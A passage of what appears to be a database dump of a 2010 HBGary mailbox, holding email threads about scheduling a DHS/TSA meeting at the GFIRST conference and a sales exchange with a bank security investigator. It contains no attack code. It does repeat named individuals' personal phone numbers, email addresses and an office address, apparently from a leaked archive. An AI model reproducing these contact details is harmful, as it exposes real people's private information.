&lt;maria@hbgary.com&gt;\r\nCc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\n\r\n\r\n\r\nGood morning,\r\n\r\nI just checked with Doug. He is\r\navailable on the 16th next week and will be in the office til about\r\n1pm. He will be out on travel the rest of the week at the DREN conference and\r\nGFirst, not sure if either of you will be attending those.\r\n\r\n&nbsp;\r\n\r\nDoug is will be around the Aug 23-25, if\r\nthat lines up better.\r\n\r\n&nbsp;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLuke\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 9:18 AM\r\nTo: Berndt, Luke\r\nCc: Beauchamp, Dale\r\nSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi\r\nLuke\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nis Doug\'s availability to meet with Dale next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12920,'aaron_hbgary_com/12920.html'),(10137,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007887.M508933P14101Q4992.eml','\"Lukach, John\" <John.Lukach@bankofthewest.com>,\"Lukach, John\" <John.Lukach@bankofthewest.com>,','Re: hey','John\r\n \r\nTed Vera will be contacting you about End Games.  You cannot buy direct from End Games but we are reselling their service.\r\n \r\nTed will explain this to you and pricing....\r\n \r\nDo you want to tell Ted when he can call you?\r\n \r\nMaria\r\nOn Wed, Aug 11, 2010 at 2:54 PM, Lukach, John &lt;John.Lukach@bankofthewest.com&gt; wrote:\r\n\r\n\r\n\r\nOh it is going … getting the last of the eDiscovery pushed off my plate but the close out meeting keeps getting postponed.   Malware is the number one priority now but they want it to be customer focused before internal which I have a few ideas for how to tie this together for Active Defense.  Did you ever find out more information on end-games for us?   I would like to see more technical details on how the reports are compiled if that is possible?   \r\n\r\n \r\nSide note – do you know anything about what Sourcefire is doing with the new razor back and malware rule sets they just released?\r\n \r\nJohn B. Lukach\r\nInvestigation Engineer | EnCE EnCEP | Enterprise Information Security             \r\n\r\nT: (701) 298-5144 F: (701) 298-5101 | john.lukach@bankofthewest.com\r\n\r\n4321 20th Ave. SW | Fargo, ND 58103\r\n\r\n \r\nVisit us online at www.bankofthewest.com\r\n\r\n\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 4:15 PM\r\nTo: Lukach, JohnSubject: hey\r\n\r\n\r\n\r\n \r\nHow&#39;s it going John.  I am finalizing a proposal and hopefully can call you soon... what was the outcome of your meeting?-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n\r\n\r\n\r\n\r\nIMPORTANT NOTICE: This message is intended only for the addressee and may contain confidential, privileged information. If you are not the intended recipient, you may not use, copy or disclose any information contained in the message. If you have received this message in error, please notify the sender by reply e-mail and delete the message. \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',1047,'aaron_hbgary_com/1047.html'),(10138,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007887.M861284P14101Q4993.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: hey','Cool---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;Date: Wed, Aug 11, 2010 at 4:13 PM\r\nSubject: Re: heyTo: &quot;Lukach, John&quot; &lt;John.Lukach@bankofthewest.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nJohn\r\n \r\nTed Vera will be contacting you about End Games.  You cannot buy direct from End Games but we are reselling their service.\r\n \r\nTed will explain this to you and pricing....\r\n \r\nDo you want to tell Ted when he can call you?\r\n \r\nMaria\r\nOn Wed, Aug 11, 2010 at 2:54 PM, Lukach, John &lt;John.Lukach@bankofthewest.com&gt; wrote:\r\n\r\n\r\n\r\nOh it is going … getting the last of the eDiscovery pushed off my plate but the close out meeting keeps getting postponed.   Malware is the number one priority now but they want it to be customer focused before internal which I have a few ideas for how to tie this together for Active Defense.  Did you ever find out more information on end-games for us?   I would like to see more technical details on how the reports are compiled if that is possible?   \r\n\r\n\r\n \r\nSide note – do you know anything about what Sourcefire is doing with the new razor back and malware rule sets they just released?\r\n \r\nJohn B. Lukach\r\nInvestigation Engineer | EnCE EnCEP | Enterprise Information Security             \r\n\r\n\r\nT: (701) 298-5144 F: (701) 298-5101 | john.lukach@bankofthewest.com\r\n\r\n\r\n4321 20th Ave. SW | Fargo, ND 58103\r\n\r\n \r\nVisit us online at www.bankofthewest.com\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 4:15 PM\r\n\r\nTo: Lukach, JohnSubject: hey\r\n\r\n\r\n\r\n \r\nHow&#39;s it going John.  I am finalizing a proposal and hopefully can call you soon... what was the outcome of your meeting?-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n\r\n\r\n\r\n\r\nIMPORTANT NOTICE: This message is intended only for the addressee and may contain confidential, privileged information. If you are not the intended recipient, you may not use, copy or disclose any information contained in the message. If you have received this message in error, please notify the sender by reply e-mail and delete the message. \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n  \r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',10531,'aaron_hbgary_com/10531.html'),(10139,'2010-08-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007888.M447052P14101Q4994.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: Availability for scheduling meeting with TSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nThursday will be better for me.&nbsp; I have an offsite Friday am\r\nmeeting with AF, then my flight is at 12:50.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, August 11, 2010 6:10 PM\r\nTo: \'Bob Slapnik\'; \'Maria Lucas\'\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHe will be there Thursday and Friday, schedule a meeting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, August 11, 2010 3:09 PM\r\nTo: \'Maria Lucas\'; \'Penny C. Hoglund\'\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am flying to San Antonio early Monday morning.&nbsp; But Maria\r\nand I will see him at GFIRST.&nbsp; Maybe we can grab him for a conference call\r\nwith Dale.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, August 11, 2010 11:29 AM\r\nTo: Penny C. Hoglund\r\nCc: Bob Slapnik; Aaron Barr\r\nSubject: Fwd: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nfyi&nbsp; next week Doug\r\nmaughan is available Monday only and then he will be at GFIRST.&nbsp; See\r\nbelow.\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;\r\nDate: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSA\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\n\r\n\r\n\r\nGood morning,\r\n\r\nI just checked with Doug. He is\r\navailable on the 16th next week and will be in the office til about 1pm.\r\nHe will be out on travel the rest of the week at the DREN conference and\r\nGFirst, not sure if either of you will be attending those.\r\n\r\n&nbsp;\r\n\r\nDoug is will be around the Aug 23-25, if\r\nthat lines up better.\r\n\r\n&nbsp;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLuke\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 9:18 AM\r\nTo: Berndt, Luke\r\nCc: Beauchamp, Dale\r\nSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi\r\nLuke\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nis Doug\'s availability to meet with Dale next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12415,'aaron_hbgary_com/12415.html'),(10140,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007888.M827960P14101Q4995.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Availability for scheduling meeting with TSA','Bob\r\n \r\nDo you want to coordinate the meeting for Thursday morning or lunch?  Penny says we should get Doug at the booth to show him Active Defense.  End of day but we will be busy tearing down booth....\r\n \r\nMaria\r\nOn Wed, Aug 11, 2010 at 3:19 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMaria,\r\n \r\nThursday will be better for me.  I have an offsite Friday am meeting with AF, then my flight is at 12:50.\r\n \r\n\r\nBob \r\n \r\n \r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] Sent: Wednesday, August 11, 2010 6:10 PM\r\nTo: &#39;Bob Slapnik&#39;; &#39;Maria Lucas&#39; \r\n\r\n\r\nCc: &#39;Aaron Barr&#39;Subject: RE: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n \r\nHe will be there Thursday and Friday, schedule a meeting\r\n \r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] Sent: Wednesday, August 11, 2010 3:09 PM\r\nTo: &#39;Maria Lucas&#39;; &#39;Penny C. Hoglund&#39;Cc: &#39;Aaron Barr&#39;Subject: RE: Availability for scheduling meeting with TSA\r\n \r\nI am flying to San Antonio early Monday morning.  But Maria and I will see him at GFIRST.  Maybe we can grab him for a conference call with Dale.\r\n\r\n \r\n \r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 11:29 AM\r\nTo: Penny C. HoglundCc: Bob Slapnik; Aaron BarrSubject: Fwd: Availability for scheduling meeting with TSA\r\n \r\nfyi  next week Doug maughan is available Monday only and then he will be at GFIRST.  See below.\r\n\r\n---------- Forwarded message ----------From: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;Date: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSATo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\n\r\nGood morning,\r\nI just checked with Doug. He is available on the 16th next week and will be in the office til about 1pm. He will be out on travel the rest of the week at the DREN conference and GFirst, not sure if either of you will be attending those.\r\n\r\n \r\nDoug is will be around the Aug 23-25, if that lines up better.\r\n \r\n-          Luke\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 9:18 AM\r\nTo: Berndt, LukeCc: Beauchamp, DaleSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n \r\n\r\nHi Luke\r\n\r\n \r\n\r\nWhat is Doug&#39;s availability to meet with Dale next week?\r\n\r\n \r\n\r\n \r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10 02:34:00\r\n\r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10 02:34:00\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',12279,'aaron_hbgary_com/12279.html'),(10141,'2010-08-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007889.M396505P14101Q4996.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','RE: Availability for scheduling meeting with TSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nThe exhibit is 10 to 4 Thursday.&nbsp; So meeting Doug in the morning\r\ncould work.&nbsp; I thought the reason to meet with Doug was so he could also talk\r\nwith Dale.\r\n\r\n&nbsp;\r\n\r\nTo see the s/w he could simply come to booth for a demo.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, August 11, 2010 6:53 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Aaron Barr\r\nSubject: Re: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you want to coordinate the meeting for Thursday morning\r\nor lunch?&nbsp; Penny says we should get Doug at the booth to show him Active\r\nDefense.&nbsp; End of day but we will be busy tearing down booth....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Aug 11, 2010 at 3:19 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nThursday will be better for me.&nbsp; I\r\nhave an offsite Friday am meeting with AF, then my flight is at 12:50.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny\r\nLeavy-Hoglund [mailto:penny@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 6:10 PM\r\nTo: \'Bob Slapnik\'; \'Maria Lucas\' \r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHe will be there Thursday and Friday,\r\nschedule a meeting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob\r\nSlapnik [mailto:bob@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 3:09 PM\r\nTo: \'Maria Lucas\'; \'Penny C. Hoglund\'\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am flying to San Antonio early Monday\r\nmorning.&nbsp; But Maria and I will see him at GFIRST.&nbsp; Maybe we can grab\r\nhim for a conference call with Dale.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 11:29 AM\r\nTo: Penny C. Hoglund\r\nCc: Bob Slapnik; Aaron Barr\r\nSubject: Fwd: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nfyi&nbsp;\r\nnext week Doug maughan is available Monday only and then he will be at\r\nGFIRST.&nbsp; See below.\r\n\r\n\r\n\r\n----------\r\nForwarded message ----------\r\nFrom: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;\r\nDate: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSA\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\n\r\n\r\n\r\nGood morning,\r\n\r\nI just checked with Doug. He is\r\navailable on the 16th next week and will be in the office til about\r\n1pm. He will be out on travel the rest of the week at the DREN conference and\r\nGFirst, not sure if either of you will be attending those.\r\n\r\n&nbsp;\r\n\r\nDoug is will be around the Aug 23-25, if\r\nthat lines up better.\r\n\r\n&nbsp;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLuke\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 9:18 AM\r\nTo: Berndt, Luke\r\nCc: Beauchamp, Dale\r\nSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi\r\nLuke\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nis Doug\'s availability to meet with Dale next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1256,'aaron_hbgary_com/1256.html'),(10142,'2010-08-11','ted@hbgary.com','/aaron@hbgary.com/new/1297007896.M351026P14101Q4998.eml','aaron@hbgary.com','Draft Proposal Document','\r\n\r\nI\'ve shared Draft Proposal Document\r\nMessage from ted@hbgary.com:\r\nAaron, I&#39;ve been helping Maria with this, but could benefit from another set of eyes on it...  \r\nClick to open:\r\nDraft Proposal Document\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',926,'aaron_hbgary_com/926.html'),(10143,'2010-08-11','\"Tim Riesen\" <riesen@gmail.com>','/aaron@hbgary.com/new/1297007896.M57281P14101Q4997.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Question','\r\n\r\nFW: Question\r\n\r\n\r\nAaron - \r\n\r\nUpon further review, there is much content here. &nbsp;But, his comment suggests he isn&#8217;t aware of the latest developments. &nbsp;\r\n\r\n------ Forwarded Message\r\nFrom: Rich Hall &lt;rhall_offshore@yahoo.com.sg&gt;\r\nDate: Tue, 10 Aug 2010 22:26:34 +0800 (SGT)\r\nTo: Tim Riesen &lt;riesen@gmail.com&gt;\r\nSubject: Re: Question\r\n\r\nTim -\r\n\r\nAbout the survey, I am aware of it but it was conducted a long time ago.\r\n\r\nBest,\r\n\r\nRich\r\n\r\n\r\nFrom:  Tim Riesen &lt;riesen@gmail.com&gt; \r\nDate: Mon, 09 Aug 2010 18:21:25 -0700\r\nTo: Rich Hall&lt;rhall_offshore@yahoo.com.sg&gt;\r\nSubject: Re: Question\r\n\r\nRich - \r\n&nbsp;\r\nBy the way &#8211; are you familiar with the COIN or ROMAS market survey? &nbsp;&nbsp;I think that might be your business area but I&#8217;m not sure. &nbsp;\r\n\r\nTim &nbsp;\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n',8305,'aaron_hbgary_com/8305.html'),(10144,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007896.M635554P14101Q4999.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Availability for scheduling meeting with TSA',' It would be nice to have a formal intro to Doug.  When and where doesn&#39;t really matter can you ask him what works best for him?\r\n \r\nI don&#39;t know that Dale is attending GFIRST this year -- will try Dale again tomorrow -- trying to get him a meeting with Doug for Monday morning.\r\nOn Wed, Aug 11, 2010 at 4:06 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMaria,\r\n \r\nThe exhibit is 10 to 4 Thursday.  So meeting Doug in the morning could work.  I thought the reason to meet with Doug was so he could also talk with Dale.\r\n\r\n \r\nTo see the s/w he could simply come to booth for a demo.\r\n \r\nBob \r\n \r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 6:53 PM\r\nTo: Bob SlapnikCc: Penny Leavy-Hoglund; Aaron BarrSubject: Re: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n \r\n\r\nBob\r\n\r\n \r\n\r\nDo you want to coordinate the meeting for Thursday morning or lunch?  Penny says we should get Doug at the booth to show him Active Defense.  End of day but we will be busy tearing down booth....\r\n\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Wed, Aug 11, 2010 at 3:19 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\nMaria,\r\n \r\nThursday will be better for me.  I have an offsite Friday am meeting with AF, then my flight is at 12:50.\r\n \r\n\r\nBob \r\n \r\n \r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] Sent: Wednesday, August 11, 2010 6:10 PM\r\nTo: &#39;Bob Slapnik&#39;; &#39;Maria Lucas&#39; \r\n\r\n\r\nCc: &#39;Aaron Barr&#39;Subject: RE: Availability for scheduling meeting with TSA\r\n\r\n\r\n \r\nHe will be there Thursday and Friday, schedule a meeting\r\n \r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] Sent: Wednesday, August 11, 2010 3:09 PM\r\nTo: &#39;Maria Lucas&#39;; &#39;Penny C. Hoglund&#39;Cc: &#39;Aaron Barr&#39;Subject: RE: Availability for scheduling meeting with TSA\r\n \r\nI am flying to San Antonio early Monday morning.  But Maria and I will see him at GFIRST.  Maybe we can grab him for a conference call with Dale.\r\n\r\n \r\n \r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 11:29 AM\r\nTo: Penny C. HoglundCc: Bob Slapnik; Aaron BarrSubject: Fwd: Availability for scheduling meeting with TSA\r\n \r\nfyi  next week Doug maughan is available Monday only and then he will be at GFIRST.  See below.\r\n\r\n---------- Forwarded message ----------From: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;Date: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSATo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\n\r\nGood morning,\r\nI just checked with Doug. He is available on the 16th next week and will be in the office til about 1pm. He will be out on travel the rest of the week at the DREN conference and GFirst, not sure if either of you will be attending those.\r\n\r\n \r\nDoug is will be around the Aug 23-25, if that lines up better.\r\n \r\n-          Luke\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 9:18 AM\r\nTo: Berndt, LukeCc: Beauchamp, DaleSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n \r\n\r\nHi Luke\r\n\r\n \r\n\r\nWhat is Doug&#39;s availability to meet with Dale next week?\r\n\r\n \r\n\r\n \r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10 02:34:00\r\n\r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10 